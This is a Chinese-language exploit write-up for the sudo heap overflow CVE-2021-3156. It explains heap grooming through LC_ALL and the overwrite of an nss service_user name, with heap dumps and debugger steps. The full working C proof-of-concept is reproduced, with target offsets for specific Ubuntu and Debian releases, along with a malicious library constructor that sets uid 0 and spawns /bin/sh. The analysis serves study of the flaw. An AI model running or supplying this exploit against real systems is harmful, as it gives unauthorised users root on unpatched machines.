前言:
前几天在chamd5
上分析过该CVE的调用链,本来想着这个bypass手法先存着,但是生活所迫QAQ。
漏洞利用有点过于复杂,多方参考,如有错误请谅解。
LC_*控制环境堆:
关于locale和nss的解析可以参考这篇文章:CVE-2021-3156 sudo heap-based bufoverflow 复现&分析
在sudo.c
中,最开始就使用了setlocale(LC_ALL, '');
来配置字符集环境,会申请和释放大量堆块。
setlocale(LC_ALL, ""); //配置本机字符集
bindtextdomain(PACKAGE_NAME, LOCALEDIR);
textdomain(PACKAGE_NAME);
分析setlocale
进入_nl_find_locale
获取到环境变量参数
分析_nl_make_l10nflist
所以我们只需要载入一个如:LC_ALL=C.UTF-8@AA.....AAA
的堆块即可生成一个大的tcache
块。
分析get_user_info:
get_user_info函数在获取用户信息的时候需要获取用户的用户名和口令信息,这就需要到了nss服务,也就是需要调用passwd对应的服务规范。在函数中会调用根据配置文件初始化file/systemd等服务规范给各个配置文件进行堆分配,然后尽量我们使用setlocale
生成的巨大块,然后
执行get_user_info
过程中的堆申请情况:
malloc(0x100)
malloc(0x400)
malloc(0x228) //tcache
malloc(0x10)
malloc(0x78) //passwd->compat files
malloc(0x1000)
malloc(0x17) //unsortbin -> largebin
malloc(0x37)
malloc(0x38)
malloc(0x16)
malloc(0x37)
malloc(0x38)
malloc(0x17)
malloc(0x37)
malloc(0x17)
malloc(0x36)
malloc(0x16)
......
服务调用链:
然后就会在ni->name = compat
的service_user
块前面产生一个0x80
的free
块
EXP解析:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <ctype.h>
// 512 environment variables should be enough for everyone
#define MAX_ENVP 512
#define SUDOEDIT_PATH "/usr/bin/sudoedit"
typedef struct {
char *target_name;
char *sudoedit_path;
uint32_t smash_len_a;
uint32_t smash_len_b;
uint32_t null_stomp_len;
uint32_t lc_all_len;
} target_t;
target_t targets[] = {
{
// Yes, same values as 20.04.1, but also confirmed.
.target_name = "Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27",
.sudoedit_path = SUDOEDIT_PATH,
.smash_len_a = 56,
.smash_len_b = 54,
.null_stomp_len = 63,
.lc_all_len = 212
},
{
.target_name = "Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31",
.sudoedit_path = SUDOEDIT_PATH,
.smash_len_a = 56,
.smash_len_b = 54,
.null_stomp_len = 63,
.lc_all_len = 212
},
{
.target_name = "Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28",
.sudoedit_path = SUDOEDIT_PATH,
.smash_len_a = 64,
.smash_len_b = 49,
.null_stomp_len = 60,
.lc_all_len = 214
}
};
void usage(char *prog) {
fprintf(stdout,
" usage: %s <target>\n\n"
" available targets:\n"
" ------------------------------------------------------------\n",
prog
);
for(int i = 0; i < sizeof(targets) / sizeof(target_t); i++) {
printf(" %d) %s\n", i, targets[i].target_name);
}
fprintf(stdout,
" ------------------------------------------------------------\n"
"\n"
" manual mode:\n"
" %s <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>\n"
"\n",
prog
);
}
int main(int argc, char *argv[]) {
printf("\n** CVE-2021-3156 PoC by blasty <peter@haxx.in>\n\n");
if (argc != 2 && argc != 5) {
usage(argv[0]);
return -1;
}
target_t *target = NULL;
if (argc == 2) {
int target_idx = atoi(argv[1]);
if (target_idx < 0 || target_idx >= (sizeof(targets) / sizeof(target_t))) {
fprintf(stderr, "invalid target index\n");
return -1;
}
target = &targets[ target_idx ];
} else {
target = malloc(sizeof(target_t));
target->target_name = "Manual";
target->sudoedit_path = SUDOEDIT_PATH; // "/usr/bin/sudoedit"
target->smash_len_a = atoi(argv[1]);
target->smash_len_b = atoi(argv[2]);
target->null_stomp_len = atoi(argv[3]);
target->lc_all_len = atoi(argv[4]);
}
printf(
"using target: %s ['%s'] (%d, %d, %d, %d)\n",
target->target_name,
target->sudoedit_path,
target->smash_len_a,
target->smash_len_b,
target->null_stomp_len,
target->lc_all_len
);
char *smash_a = calloc(target->smash_len_a + 2, 1); //这里填充多2个字节
char *smash_b = calloc(target->smash_len_b + 2, 1); //这里填充多2个字节
memset(smash_a, 'A', target->smash_len_a); //填充A
memset(smash_b, 'B', target->smash_len_b); //填充B
smash_a[target->smash_len_a] = '\\';
smash_b[target->smash_len_b] = '\\';
char *s_argv[]={
"sudoedit", "-s", smash_a, "\\", smash_b, NULL
};
/** 56 * A + '\\' + '\0' + '\0' + '\\' + '\0' + 54 * B + '\\' + '\0'
** 生成113个字节空间
**/
char *s_envp[MAX_ENVP];
int envp_pos = 0;
for(int i = 0; i < target->null_stomp_len; i++) {
s_envp[envp_pos++] = "\\"; //写入63个\\
}
s_envp[envp_pos++] = "X/P0P_SH3LLZ_";
char *lc_all = calloc(target->lc_all_len + 16, 1); //212
strcpy(lc_all, "LC_ALL=C.UTF-8@");
memset(lc_all+15, 'C', target->lc_all_len);
s_envp[envp_pos++] = lc_all;
s_envp[envp_pos++] = NULL;
printf("** pray for your rootshell.. **\n");
execve(target->sudoedit_path, s_argv, s_envp); //触发提权
return 0;
}
//*s_envp == 63 * "\\" + "X/P0P_SH3LLZ_" + lc_all指针 + NULL
//*lc_all == "LC_ALL=C.UTF-8@" + 212*"C"
需要关注的点:
smash_a + "\\" + smash_b
差不多等于0x80
由于环境变量刚好赋值在argv
空间后。所以我们可以使用envp
配合argv
进行溢出操作(关于为什么要配合上envp
,argv
会固定user_argv
大小,而由于下一步操作时, 我们需要user_argv
获取到0x80
的free
块,然后需要配合envp
进行更后续化的内存覆盖)。
参数示例:
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
生成的内存空间如下:
动态查看NewArgv+1
存储的数据:
可以看到前一部分是s_argv[]
的参数,后一部分是s_envp[]
的参数。所以我们可以得知,execve
执行的envp
可以覆盖在我们的argv
后面。
原始调用sudo的参数情况:
执行setlocale后的堆分配情况:
get_user_info
调用完结果如下:
在compat
前会固定存在一个free
的0x80
块(这是我们使用setlocale()
人工生成的free块)
然后我们只需要构造好相应的user_args
为差不多0x80
大小即可申请到该free
块了。
然后就可以调用set_cmnd()
中的malloc()
申请一个0x80
的堆块来进行溢出操作了。
内存申请:
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55626bde4a80 (size : 0x580)
last_remainder: 0x55626bddd380 (size : 0x7d0)
unsortbin: 0x55626bddd380 (size : 0x7d0)
largebin[42]: 0x55626bdd62e0 (size : 0x1f50)
largebin[52]: 0x55626bdddb90 (size : 0x6dc0)
(0x20) tcache_entry[0](2): 0x55626bdd4c00 --> 0x55626bddcc80
(0x30) tcache_entry[1](2): 0x55626bdcd250 --> 0x55626bdd07d0
(0x50) tcache_entry[3](2): 0x55626bddccf0 --> 0x55626bddcca0 // 环境变量释放产生的堆块
(0x80) tcache_entry[6](1): 0x55626bdce360 // user_args申请的堆块
(0x90) tcache_entry[7](1): 0x55626bdd6260
(0x100) tcache_entry[14](1): 0x55626bdcd880
(0x110) tcache_entry[15](1): 0x55626bde4960
(0x120) tcache_entry[16](1): 0x55626bdd3a80
(0x1a0) tcache_entry[24](1): 0x55626bdcddb0
(0x230) tcache_entry[33](1): 0x55626bddc920
在malloc
下断点查看到申请的堆块在0x55626bdce360
在Heap
上搜索compat
即可获取到Heap
内部的service_user
结构体中compat
位置
如图第二行即为离malloc
申请堆块最近的位置0x55626bdce410
,由于compat
与service_user
偏移0x30
,所以service_user
地址为:0x55626bdce3e0
,在malloc
申请的堆空间向后偏移0xB0
构造与LC_ALL
块大小相同的参数块来占用到原始LC_ALL
块,进而导致缓冲区空间后即为我们构造的环境变量。
然后在调用for(to = user_args, av = NewArgv + 1; (from = *av); av++){
过程中给user_args
配置"\0"
('\\'+'\0'
配置得到一大片'\0'
的内存空间)
下面是调用后的内存数据:
知道了怎么进行溢出覆盖,那么我们怎么才能做到任意命令执行呢?
在exp
调用了加载一个新的libc
,然后调用libc
中的初始化函数init
来execve
我们的shell。
下面是libc的源码:
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static void __attribute__ ((constructor)) _init(void);
static void _init(void) {
printf("[+] bl1ng bl1ng! We got it!\n");
#ifndef BRUTE
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execv("/bin/sh", a_argv);
#endif
}
我们只要高权限调用setuid(0); seteuid(0); setgid(0); setegid(0);
然后执行execv("/bin/sh", a_argv);
即可进行提权了。
nss_load_library
结构可用于加载libc
,下面是源码:
tpedef struct service_library
{
/* Name of service (`files', `dns', `nis', ...). */
const char *name;
/* Pointer to the loaded shared library. */
void *lib_handle;
/* And the link to the next entry. */
struct service_library *next;
} service_library;
typedef struct service_user
{
/* And the link to the next entry. */
struct service_user *next;
/* Action according to result. */
lookup_actions actions[5];
/* Link to the underlying library object. */
service_library *library;
/* Collection of known functions. */
void *known;
/* Name of the service (`files', `dns', `nis', ...). */
char name[0];
} service_user;
static int nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
static name_database default_table;
ni->library = nss_new_service (service_table ?: &default_table,
ni->name); //配置ni->library
if (ni->library == NULL)
return -1;
}
if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name); //调用构造的libc
//continue long long function
在sudo执行的末尾会调用getgrgid()
,然后会调用nss_load_library
,而一旦ni->library == NULL
就会调用nss_new_service()
来配置新的ni ->name
来加载一个新的libc
。
所以我们只需要在exp
中就是溢出内存中的ni->name
指定的libc
经过作者fuzz
拿到的crash
分析得出,在内存中存在原始ni->name
为compat
的service_user
结构体,所以我们可以直接扫描找到这个compat
,然后溢出修改ni->name
就可以调用到我们的libc
了
调试流程:
b getgrgid
b __libc_dlopen_mode
c
可以看到指定的X/P0P_SH3LLZ_
的指针是0x55626bdce410
,即为我们覆盖的ni->name
上述就是完整的getshell调用链了。